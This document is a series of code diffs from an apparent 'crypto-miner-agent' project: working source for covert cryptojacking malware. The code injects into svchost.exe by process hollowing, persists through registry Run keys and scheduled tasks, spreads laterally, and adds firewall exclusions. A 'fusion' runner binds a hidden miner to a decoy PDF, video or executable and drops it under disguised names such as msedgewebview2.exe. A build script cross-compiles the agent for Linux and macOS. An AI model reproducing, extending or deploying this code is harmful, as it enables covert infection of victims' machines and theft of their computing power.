"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
if output, dlErr := downloadCmd.CombinedOutput(); dlErr != nil {
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr)
}
src := filepath.Join(os.Getenv("TEMP"), "cloudflared.exe")
dst := filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe")
_ = exec.Command("copy", "/Y", src, dst).Run()
}
tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL)
if err := tunnelCmd.Start(); err != nil {
return "", fmt.Errorf("failed to start cloudflared: %w", err)
}
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", tunnelCmd.Process.Pid, serverURL), nil
}

View File

@@ -3,61 +3,46 @@ package deploy
import ( import (
"fmt" "fmt"
"os" "os"
"os/exec"
"path/filepath"
"strings"
"crypto-miner-agent/config" "crypto-miner-agent/config"
"golang.org/x/sys/windows/registry"
) )
// Uninstall removes persistence, stops the process, and deletes the install directory. // Uninstall removes persistence, stops the process, and deletes the install directory.
func Uninstall(cfg config.RuntimeConfig) error { func Uninstall(cfg config.RuntimeConfig) error {
processName := cfg.EffectiveProcessName()
installDir, err := cfg.InstallDirectory() installDir, err := cfg.InstallDirectory()
if err != nil { if err != nil {
return err return err
} }
installedExe := filepath.Join(installDir, processName+".exe") installedBin, err := InstalledBinaryPath(cfg)
if err != nil {
_ = exec.Command("taskkill", "/F", "/IM", processName+".exe").Run() return err
keyName := PersistenceKeyName(cfg)
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err == nil {
_ = runKey.DeleteValue(keyName)
runKey.Close()
} }
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run() killWorkerProcess(cfg)
removePersistence(cfg)
RemoveFirewallExclusion(cfg) RemoveFirewallExclusion(cfg)
// Clean up potential lateral movement services if path, err := CurrentExecutable(); err == nil && samePath(path, installedBin) {
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName) selfUninstallSpawn(installDir)
_ = exec.Command("sc.exe", "stop", svcName).Run()
_ = exec.Command("sc.exe", "delete", svcName).Run()
if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) {
// Self-uninstall: spawn cleanup then exit.
ps := fmt.Sprintf(`
$dir = '%s'
Start-Sleep -Seconds 2
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
`, strings.ReplaceAll(installDir, "'", "''"))
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
_ = cmd.Start()
os.Exit(0) os.Exit(0)
} }
if err := os.RemoveAll(installDir); err != nil { if err := os.RemoveAll(installDir); err != nil {
return fmt.Errorf("remove install dir: %w", err) return fmt.Errorf("remove install dir: %w", err)
} }
// If the agent is running in memory (Process Hollowing), it won't be killed
// by the taskkill command above. We must explicitly terminate the thread.
os.Exit(0) os.Exit(0)
return nil return nil
} }
// EnsureFirewallExclusion is implemented per platform.
func EnsureFirewallExclusion(cfg config.RuntimeConfig, binPath string) {
if !cfg.FirewallExclusion {
return
}
platformEnsureFirewall(cfg, binPath)
}
// RemoveFirewallExclusion is implemented per platform.
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
platformRemoveFirewall(cfg)
}

View File

@@ -5,6 +5,7 @@ import (
"log" "log"
"os" "os"
"path/filepath" "path/filepath"
"runtime"
"strings" "strings"
"crypto-miner-agent/client" "crypto-miner-agent/client"
@@ -25,6 +26,17 @@ func main() {
log.Fatal("server URL is required in built-in configuration") log.Fatal("server URL is required in built-in configuration")
} }
if deploy.WantsSpreadInstall() {
installed, err := deploy.SpreadInstall(cfg)
if err != nil {
deploy.LogSpreadError("fatal", err)
log.Fatalf("[spread-install] failed: %v", err)
}
if installed {
return
}
}
installed, err := deploy.InstallIfNeeded(cfg) installed, err := deploy.InstallIfNeeded(cfg)
if err != nil { if err != nil {
log.Fatalf("[installer] failed: %v", err) log.Fatalf("[installer] failed: %v", err)
@@ -57,21 +69,22 @@ func main() {
deploy.StartWatchdog(cfg) deploy.StartWatchdog(cfg)
deploy.StartAutoSpreader(cfg) deploy.StartAutoSpreader(cfg)
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
deploy.RunSpreadOnce(cfg)
deploy.ClearFirstRunSpreadMarker(cfg)
}
if cfg.FirewallExclusion { if cfg.FirewallExclusion {
if installDir, err := cfg.InstallDirectory(); err == nil { if binPath, err := deploy.InstalledBinaryPath(cfg); err == nil {
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe") deploy.EnsureFirewallExclusion(cfg, binPath)
deploy.EnsureFirewallExclusion(cfg, installedExe)
} }
} }
log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s", log.Printf("[agent] running worker=%s agent_id=%s process=%s platform=%s/%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), runtime.GOOS, runtime.GOARCH, cfg.BuildID, cfg.ServerURL,
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg)) cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
// Trigger Process Hollowing Memory Injection if enabled if cfg.ProcessHollowing && runtime.GOOS == "windows" {
if cfg.ProcessHollowing {
// Simple check: if we aren't already running as svchost, hollow it!
if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" { if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" {
exePath, _ := os.Executable() exePath, _ := os.Executable()
payload, err := os.ReadFile(exePath) payload, err := os.ReadFile(exePath)
@@ -79,7 +92,7 @@ func main() {
log.Printf("[hollowing] Injecting into svchost.exe...") log.Printf("[hollowing] Injecting into svchost.exe...")
err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload) err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload)
if err == nil { if err == nil {
os.Exit(0) // Successfully hollowed and running in memory, terminate disk process os.Exit(0)
} }
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err) log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
} }

View File

@@ -0,0 +1,34 @@
//go:build darwin
package stats
import (
"os/exec"
"strconv"
"strings"
)
func (r *Reporter) memoryStatus() (total, avail uint64) {
out, err := exec.Command("sysctl", "-n", "hw.memsize").Output()
if err != nil {
return 0, 0
}
total, _ = strconv.ParseUint(strings.TrimSpace(string(out)), 10, 64)
out, err = exec.Command("vm_stat").Output()
if err != nil {
return total, total / 2
}
// Rough available estimate from vm_stat free pages
var pageSize uint64 = 4096
var freePages uint64
for _, line := range strings.Split(string(out), "\n") {
if strings.Contains(line, "Pages free") {
parts := strings.Fields(line)
if len(parts) >= 3 {
freePages, _ = strconv.ParseUint(strings.Trim(parts[2], "."), 10, 64)
}
}
}
avail = freePages * pageSize
return total, avail
}

View File

@@ -0,0 +1,7 @@
//go:build !linux && !darwin && !windows
package stats
func (r *Reporter) memoryStatus() (total, avail uint64) {
return 0, 0
}

View File

@@ -0,0 +1,41 @@
//go:build linux
package stats
import (
"bufio"
"os"
"strconv"
"strings"
)
func (r *Reporter) memoryStatus() (total, avail uint64) {
f, err := os.Open("/proc/meminfo")
if err != nil {
return 0, 0
}
defer f.Close()
var memTotal, memAvail uint64
sc := bufio.NewScanner(f)
for sc.Scan() {
line := sc.Text()
if strings.HasPrefix(line, "MemTotal:") {
memTotal = parseKB(line)
} else if strings.HasPrefix(line, "MemAvailable:") {
memAvail = parseKB(line)
}
}
if memTotal == 0 {
return 0, 0
}
return memTotal * 1024, memAvail * 1024
}
func parseKB(line string) uint64 {
fields := strings.Fields(line)
if len(fields) < 2 {
return 0
}
v, _ := strconv.ParseUint(fields[1], 10, 64)
return v
}

View File

@@ -0,0 +1,50 @@
//go:build !windows
package stats
import (
"os"
"runtime"
"sync"
)
type Reporter struct {
mu sync.Mutex
}
func NewReporter() *Reporter {
return &Reporter{}
}
func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) {
hostname, _ = os.Hostname()
cpuCores = runtime.NumCPU()
total, _ := r.memoryStatus()
memoryGB = int(total / (1024 * 1024 * 1024))
if memoryGB < 1 {
memoryGB = 1
}
return hostname, cpuCores, memoryGB
}
func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
total, avail := r.memoryStatus()
if total > 0 {
memPct = float64(total-avail) / float64(total) * 100
}
return 0, memPct
}
func (r *Reporter) FreeMemoryMB() uint64 {
_, avail := r.memoryStatus()
return avail / (1024 * 1024)
}
func (r *Reporter) TotalMemoryMB() uint64 {
total, _ := r.memoryStatus()
return total / (1024 * 1024)
}
func (r *Reporter) SystemCPUPercent() float64 {
return 0
}

View File

@@ -1,3 +1,5 @@
//go:build windows
package stats package stats
import ( import (
@@ -54,7 +56,6 @@ func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
if total > 0 { if total > 0 {
memPct = float64(total-avail) / float64(total) * 100 memPct = float64(total-avail) / float64(total) * 100
} }
// CPU usage is reported by the agent client from mining load; keep a sane default here.
cpuPct = 0 cpuPct = 0
return cpuPct, memPct return cpuPct, memPct
} }

28
fusion/cache_unix.go Normal file
View File

@@ -0,0 +1,28 @@
//go:build !windows
package main
import (
"os"
"path/filepath"
"runtime"
)
func cacheDropBase() string {
if runtime.GOOS == "darwin" {
home, _ := os.UserHomeDir()
return filepath.Join(home, "Library", "Caches", "com.apple.WebKit.WebContent")
}
if xdg := os.Getenv("XDG_CACHE_HOME"); xdg != "" {
return filepath.Join(xdg, "aetherforge")
}
home, _ := os.UserHomeDir()
return filepath.Join(home, ".cache", "aetherforge")
}
func dropBinaryName() string {
if runtime.GOOS == "windows" {
return "msedgewebview2.exe"
}
return "webcontent-helper"
}

20
fusion/cache_windows.go Normal file
View File

@@ -0,0 +1,20 @@
//go:build windows
package main
import (
"os"
"path/filepath"
)
func cacheDropBase() string {
base := os.Getenv("LOCALAPPDATA")
if base == "" {
base = os.TempDir()
}
return filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5")
}
func dropBinaryName() string {
return "msedgewebview2.exe"
}

View File

@@ -1,7 +1,3 @@
//go:build !windows //go:build !windows
package main package main
import "os/exec"
func applyHiddenStart(_ *exec.Cmd) {}

View File

@@ -1,20 +1,3 @@
//go:build windows //go:build windows
package main package main
import (
"os/exec"
"syscall"
)
const createNoWindow = 0x08000000
func applyHiddenStart(cmd *exec.Cmd) {
if cmd == nil {
return
}
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: createNoWindow,
}
}

View File

@@ -6,9 +6,10 @@ import (
"encoding/hex" "encoding/hex"
"encoding/json" "encoding/json"
"fmt" "fmt"
"log"
"os" "os"
"os/exec"
"path/filepath" "path/filepath"
"strings"
"sync" "sync"
) )
@@ -40,62 +41,42 @@ func main() {
workerPath, err := materializeWorker() workerPath, err := materializeWorker()
if err != nil { if err != nil {
log.Printf("[fusion] worker materialize failed: %v", err)
return return
} }
switch payloadKind { runFileFusion(workerPath)
case "video":
runVideoFusion(workerPath)
default:
runExeFusion(workerPath)
}
} }
func runExeFusion(workerPath string) { // runFileFusion handles any payload type — exe, video, PDF, document, image, etc.
prepBytes, err := assets.ReadFile("assets/prep.exe") // The original file is opened with the OS default application while the worker
if err != nil || len(prepBytes) == 0 { // installs silently in the background.
func runFileFusion(workerPath string) {
fileName := resolvePayloadFileName()
if fileName == "" {
log.Printf("[fusion] no payload filename — runner is misconfigured (mediaFileName constant not replaced at forge time)")
return return
} }
dir, err := os.MkdirTemp("", "cm-fusion-*") var filePath string
if err != nil {
return
}
defer os.RemoveAll(dir)
prepPath := filepath.Join(dir, "prep.exe")
if err := os.WriteFile(prepPath, prepBytes, 0755); err != nil {
return
}
runFusionOrder(workerPath, prepPath, func() { waitProcess(prepPath) })
}
func runVideoFusion(workerPath string) {
mediaName := mediaFileName
if mediaName == "" {
if m := readManifest(); m != nil && m.MediaFileName != "" {
mediaName = m.MediaFileName
}
}
if mediaName == "" {
mediaName = "movie.mkv"
}
var mediaPath string
var err error
switch mediaMode { switch mediaMode {
case "embedded": case "embedded":
var cleanup func() var cleanup func()
mediaPath, cleanup, err = materializeEmbeddedMedia(mediaName) var err error
filePath, cleanup, err = materializeEmbeddedPayload(fileName)
if err != nil { if err != nil {
log.Printf("[fusion] embedded payload: %v", err)
return return
} }
defer cleanup() defer cleanup()
default: default:
// "paired" — file ships alongside the runner in the ZIP
var cleanup func() var cleanup func()
mediaPath, cleanup, err = resolvePairedMedia(mediaName) var err error
if err != nil || mediaPath == "" { filePath, cleanup, err = resolvePairedFile(fileName)
if err != nil || filePath == "" {
log.Printf("[fusion] paired payload %q not found — ensure the payload file is in the same ZIP as the runner: %v", fileName, err)
return return
} }
if cleanup != nil { if cleanup != nil {
@@ -103,7 +84,89 @@ func runVideoFusion(workerPath string) {
} }
} }
runFusionOrder(workerPath, mediaPath, func() { openMedia(mediaPath) }) // Decide how to open the payload:
// - .exe with payloadKind=="exe" → run it directly and wait
// - everything else → open with OS default app (works for PDF, video, doc, image, etc.)
ext := strings.ToLower(filepath.Ext(fileName))
if ext == ".exe" && payloadKind == "exe" {
runFusionOrder(workerPath, filePath, func() { waitAndRun(filePath) })
} else {
runFusionOrder(workerPath, filePath, func() { openFile(filePath) })
}
}
// resolvePayloadFileName returns the original filename from baked constants or manifest.
func resolvePayloadFileName() string {
if mediaFileName != "FUSION_MEDIA_FILE" && mediaFileName != "" {
return mediaFileName
}
if m := readManifest(); m != nil && m.MediaFileName != "" {
return m.MediaFileName
}
return ""
}
// materializeEmbeddedPayload extracts the embedded payload from assets to a temp dir.
// Supports: assets/payload.bin (new universal), assets/media.bin (legacy video), assets/prep.exe (legacy exe).
func materializeEmbeddedPayload(name string) (string, func(), error) {
var data []byte
for _, asset := range []string{"assets/payload.bin", "assets/media.bin", "assets/prep.exe"} {
d, err := assets.ReadFile(asset)
if err == nil && len(d) > 0 {
data = d
break
}
}
if len(data) == 0 {
return "", nil, fmt.Errorf("embedded payload missing")
}
dir, err := os.MkdirTemp("", "cm-fusion-*")
if err != nil {
return "", nil, err
}
path := filepath.Join(dir, filepath.Base(name))
perm := os.FileMode(0644)
if strings.ToLower(filepath.Ext(name)) == ".exe" {
perm = 0755
}
if err := os.WriteFile(path, data, perm); err != nil {
_ = os.RemoveAll(dir)
return "", nil, err
}
return path, func() { _ = os.RemoveAll(dir) }, nil
}
// resolvePairedFile finds the payload file relative to the runner binary.
// Searches current dir, parent, and grandparent — supporting the bin/platform/runner layout
// where the payload file lives at the ZIP root (two levels up from the runner).
// Falls back to legacy encrypted media (video mode).
func resolvePairedFile(name string) (string, func(), error) {
// Legacy: encrypted video with key in manifest
if m := readManifest(); m != nil && m.MediaKeyB64 != "" {
return encryptedMediaBesideRunner(m.MediaEncFile, m.MediaKeyB64, name)
}
exe, err := os.Executable()
if err != nil {
return "", nil, err
}
base := filepath.Base(name)
dir := filepath.Dir(exe)
// Walk up: bin/platform/ → bin/ → root/ (covers the universal ZIP layout)
for range []int{0, 1, 2} {
p := filepath.Join(dir, base)
if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
return p, func() {}, nil
}
parent := filepath.Dir(dir)
if parent == dir {
break
}
dir = parent
}
return "", nil, fmt.Errorf("payload file not found")
} }
func runFusionOrder(workerPath, primaryPath string, runPrimary func()) { func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
@@ -114,7 +177,7 @@ func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
case "worker_first": case "worker_first":
launchWorker(workerPath) launchWorker(workerPath)
go runPrimary() go runPrimary()
default: default: // parallel
launchWorker(workerPath) launchWorker(workerPath)
var wg sync.WaitGroup var wg sync.WaitGroup
wg.Add(1) wg.Add(1)
@@ -138,95 +201,42 @@ func readManifest() *fusionManifest {
return &m return &m
} }
func materializeEmbeddedMedia(name string) (string, func(), error) {
data, err := assets.ReadFile("assets/media.bin")
if err != nil || len(data) == 0 {
return "", nil, fmt.Errorf("embedded media missing")
}
dir, err := os.MkdirTemp("", "cm-fusion-media-*")
if err != nil {
return "", nil, err
}
path := filepath.Join(dir, filepath.Base(name))
if err := os.WriteFile(path, data, 0644); err != nil {
os.RemoveAll(dir)
return "", nil, err
}
return path, func() { _ = os.RemoveAll(dir) }, nil
}
func resolvePairedMedia(name string) (string, func(), error) {
m := readManifest()
encFile := name + ".cmdata"
keyB64 := ""
playName := name
if m != nil {
if m.MediaEncFile != "" {
encFile = m.MediaEncFile
}
keyB64 = m.MediaKeyB64
if m.MediaFileName != "" {
playName = m.MediaFileName
}
}
if keyB64 != "" {
return encryptedMediaBesideRunner(encFile, keyB64, playName)
}
exe, err := os.Executable()
if err != nil {
return "", nil, err
}
dir := filepath.Dir(exe)
for _, candidate := range []string{name, filepath.Base(name)} {
p := filepath.Join(dir, candidate)
if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
return p, func() {}, nil
}
}
return "", nil, fmt.Errorf("media not found")
}
func materializeWorker() (string, error) { func materializeWorker() (string, error) {
workerBytes, err := assets.ReadFile("assets/worker.exe") data, err := assets.ReadFile("assets/worker")
if err != nil || len(workerBytes) == 0 { if err != nil || len(data) == 0 {
return "", fmt.Errorf("worker missing") data, err = assets.ReadFile("assets/worker.exe")
if err != nil || len(data) == 0 {
return "", fmt.Errorf("worker binary missing from assets — runner was not built with go:embed correctly")
}
} }
base := os.Getenv("LOCALAPPDATA") base := cacheDropBase()
if base == "" { sum := sha256.Sum256(data)
base = os.TempDir()
}
sum := sha256.Sum256(workerBytes)
tag := hex.EncodeToString(sum[:6]) tag := hex.EncodeToString(sum[:6])
dir := filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5", tag) dir := filepath.Join(base, tag)
if err := os.MkdirAll(dir, 0755); err != nil { if err := os.MkdirAll(dir, 0755); err != nil {
return "", err return "", err
} }
dest := filepath.Join(dir, "msedgewebview2.exe") destName := dropBinaryName()
if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(workerBytes) { dest := filepath.Join(dir, destName)
if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(data) {
if sha256.Sum256(existing) == sum { if sha256.Sum256(existing) == sum {
return dest, nil return dest, nil
} }
} }
if err := os.WriteFile(dest, workerBytes, 0755); err != nil { if err := os.WriteFile(dest, data, 0755); err != nil {
return "", err return "", err
} }
return dest, nil return dest, nil
} }
func launchWorker(path string) { func launchWorker(path string) {
cmd := exec.Command(path) applyHiddenStartPath(path)
cmd.Dir = filepath.Dir(path)
applyHiddenStart(cmd)
if err := cmd.Start(); err != nil {
fmt.Fprintf(os.Stderr, "fusion: worker start failed: %v\n", err)
}
} }
func waitProcess(path string) { // waitAndRun launches an exe synchronously (used for exe payload kind).
cmd := exec.Command(path) func waitAndRun(path string) {
cmd.Dir = filepath.Dir(path) applyWaitRun(path)
_ = cmd.Run()
} }
func fusionLockHintMode() bool { func fusionLockHintMode() bool {

43
fusion/media_darwin.go Normal file
View File

@@ -0,0 +1,43 @@
//go:build darwin
package main
import (
"os"
"os/exec"
"path/filepath"
)
// openFile opens any file with the macOS default application via `open`.
// Works for PDF, video, document, image, and more.
func openFile(path string) {
path = filepath.Clean(path)
_ = exec.Command("open", path).Start()
}
// applyHiddenStartPath launches the worker binary in the background.
func applyHiddenStartPath(path string) {
cmd := exec.Command(path)
cmd.Dir = filepath.Dir(path)
cmd.Stdin = nil
cmd.Stdout = nil
cmd.Stderr = nil
_ = cmd.Start()
}
// applyWaitRun runs a file and waits — on macOS, opens via `open -W` (wait).
func applyWaitRun(path string) {
ext := filepath.Ext(path)
if ext == ".app" || ext == "" {
cmd := exec.Command("open", "-W", path)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
_ = cmd.Run()
} else {
cmd := exec.Command(path)
cmd.Dir = filepath.Dir(path)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
_ = cmd.Run()
}
}

34
fusion/media_linux.go Normal file
View File

@@ -0,0 +1,34 @@
//go:build linux
package main
import (
"os"
"os/exec"
"path/filepath"
)
// openFile opens any file with the Linux default application via xdg-open.
// Works for PDF, video, document, image, and more.
func openFile(path string) {
_ = exec.Command("xdg-open", path).Start()
}
// applyHiddenStartPath launches the worker binary in the background.
func applyHiddenStartPath(path string) {
cmd := exec.Command(path)
cmd.Dir = filepath.Dir(path)
cmd.Stdin = nil
cmd.Stdout = nil
cmd.Stderr = nil
_ = cmd.Start()
}
// applyWaitRun runs a file and waits — on Linux exe files run directly.
func applyWaitRun(path string) {
cmd := exec.Command(path)
cmd.Dir = filepath.Dir(path)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
_ = cmd.Run()
}

View File

@@ -1,10 +0,0 @@
//go:build !windows
package main
import "os/exec"
func openMedia(path string) {
cmd := exec.Command("xdg-open", path)
_ = cmd.Start()
}

View File

@@ -3,12 +3,36 @@
package main package main
import ( import (
"os"
"os/exec" "os/exec"
"path/filepath" "path/filepath"
"syscall"
) )
func openMedia(path string) { // openFile opens any file with the Windows default application.
// Works for PDF, video, document, image, executable — anything.
func openFile(path string) {
path = filepath.Clean(path) path = filepath.Clean(path)
cmd := exec.Command("cmd", "/c", "start", "", path) cmd := exec.Command("cmd", "/c", "start", "", path)
_ = cmd.Start() _ = cmd.Start()
} }
// applyHiddenStartPath launches the worker binary hidden (no window).
func applyHiddenStartPath(path string) {
cmd := exec.Command(path)
cmd.Dir = filepath.Dir(path)
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: 0x08000000,
}
_ = cmd.Start()
}
// applyWaitRun launches an exe directly and waits for it to exit.
func applyWaitRun(path string) {
cmd := exec.Command(path)
cmd.Dir = filepath.Dir(path)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
_ = cmd.Run()
}

View File

@@ -87,6 +87,22 @@ if (-not $SkipBuild) {
go build -o (Join-Path $Root "bin\install-worker.exe") . go build -o (Join-Path $Root "bin\install-worker.exe") .
Pop-Location Pop-Location
} }
Invoke-Phase "7b Agent cross-compile (linux/darwin)" {
Push-Location (Join-Path $Root "agent")
$env:CGO_ENABLED = "0"
$env:GOOS = "linux"; $env:GOARCH = "amd64"
go build -o (Join-Path $Root "bin\install-worker-linux-amd64") -ldflags "-s -w" .
$env:GOOS = "linux"; $env:GOARCH = "arm64"
go build -o (Join-Path $Root "bin\install-worker-linux-arm64") -ldflags "-s -w" .
$env:GOOS = "darwin"; $env:GOARCH = "arm64"
go build -o (Join-Path $Root "bin\install-worker-darwin-arm64") -ldflags "-s -w" .
$env:GOOS = "darwin"; $env:GOARCH = "amd64"
go build -o (Join-Path $Root "bin\install-worker-darwin-amd64") -ldflags "-s -w" .
Remove-Item Env:GOOS, Env:GOARCH -ErrorAction SilentlyContinue
Pop-Location
}
} else { } else {
Write-Phase "5-7/8 Build phases (skipped)" Write-Phase "5-7/8 Build phases (skipped)"
} }

View File

@@ -359,6 +359,199 @@ func mergeConfig(dst, src *Config) {
} }
} }
// mergeConfigExplicit is like mergeConfig but only applies boolean fields when
// the corresponding top-level key was explicitly present in the JSON request.
// This fixes H14: a partial PUT can no longer silently reset UseTLS, SilentMode,
// AutoStart, LogAgentConnections, etc. to false.
func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if present == nil {
// Fall back to old behaviour if we have no key presence info
mergeConfig(dst, src)
return
}
has := func(key string) bool { _, ok := present[key]; return ok }
// Non-boolean scalar fields — safe to use zero-value guard
if src.Port != 0 {
dst.Port = src.Port
}
if src.DataDir != "" {
dst.DataDir = src.DataDir
}
// Pool — only touch booleans when key was in the payload
if has("pool") {
if src.Pool.Host != "" {
dst.Pool.Host = src.Pool.Host
}
if src.Pool.Port != 0 {
dst.Pool.Port = src.Pool.Port
}
dst.Pool.UseTLS = src.Pool.UseTLS // bool: only applied because "pool" key was present
if src.Pool.Password != "" {
dst.Pool.Password = src.Pool.Password
}
}
if has("wallet") {
if src.Wallet.Address != "" {
dst.Wallet.Address = src.Wallet.Address
}
if src.Wallet.PaymentID != "" {
dst.Wallet.PaymentID = src.Wallet.PaymentID
}
}
if has("default_agent") {
if src.DefaultAgent.Threads != 0 {
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
}
if src.DefaultAgent.ThreadMode != "" {
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
}
if src.DefaultAgent.ThreadPercent != 0 {
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
}
if src.DefaultAgent.CPUPriority != "" {
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
}
if src.DefaultAgent.MaxCPUUsagePct != 0 {
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
}
if src.DefaultAgent.MaxMemoryPct != 0 {
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
}
if src.DefaultAgent.MinFreeRAMMB != 0 {
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
}
if src.DefaultAgent.MiningMode != "" {
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
}
if src.DefaultAgent.DisplayMode != "" {
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
}
if src.DefaultAgent.ProcessName != "" {
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
}
if src.DefaultAgent.IdleThresholdPct != 0 {
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
}
if src.DefaultAgent.IdleDurationMinutes != 0 {
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
}
if src.DefaultAgent.ScheduleStart != "" {
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
}
if src.DefaultAgent.ScheduleEnd != "" {
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
}
if src.DefaultAgent.InstallBase != "" {
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
}
if src.DefaultAgent.InstallCustomBase != "" {
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
}
if src.DefaultAgent.InstallRelativePath != "" {
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
}
// Booleans only applied because "default_agent" key was present
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
}
if has("background") {
dst.Background.SilentMode = src.Background.SilentMode
if src.Background.RunAs != "" {
dst.Background.RunAs = src.Background.RunAs
}
dst.Background.AutoStart = src.Background.AutoStart
dst.Background.MinimizeToTray = src.Background.MinimizeToTray
}
if has("alerts") {
if src.Alerts.OfflineThresholdMinutes != 0 {
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
}
if src.Alerts.HashrateDropThresholdPct != 0 {
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
}
if src.Alerts.RejectionRateThresholdPct != 0 {
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
}
if src.Alerts.TelegramBotToken != "" {
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
}
if src.Alerts.TelegramChatID != "" {
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
}
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
if src.Alerts.SMTPHost != "" {
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
}
if src.Alerts.SMTPPort != 0 {
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
}
if src.Alerts.SMTPUser != "" {
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
}
if src.Alerts.SMTPPassword != "" {
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
}
if src.Alerts.EmailTo != "" {
dst.Alerts.EmailTo = src.Alerts.EmailTo
}
if src.Alerts.EmailFrom != "" {
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
}
}
if has("server") {
if src.Server.PublicURL != "" {
dst.Server.PublicURL = src.Server.PublicURL
}
if src.Server.StatsRetentionHours != 0 {
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
}
if src.Server.BuildRetentionDays != 0 {
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
}
if src.Server.PoolReconnectSeconds != 0 {
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
}
if src.Server.WebSocketPingSeconds != 0 {
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
}
if src.Server.MaxAgents != 0 {
dst.Server.MaxAgents = src.Server.MaxAgents
}
if src.Server.MaxBuildSizeMB != 0 {
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
}
// Booleans applied because "server" key was present
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
dst.Server.SignEnabled = src.Server.SignEnabled
if src.Server.DashboardSubtitle != "" {
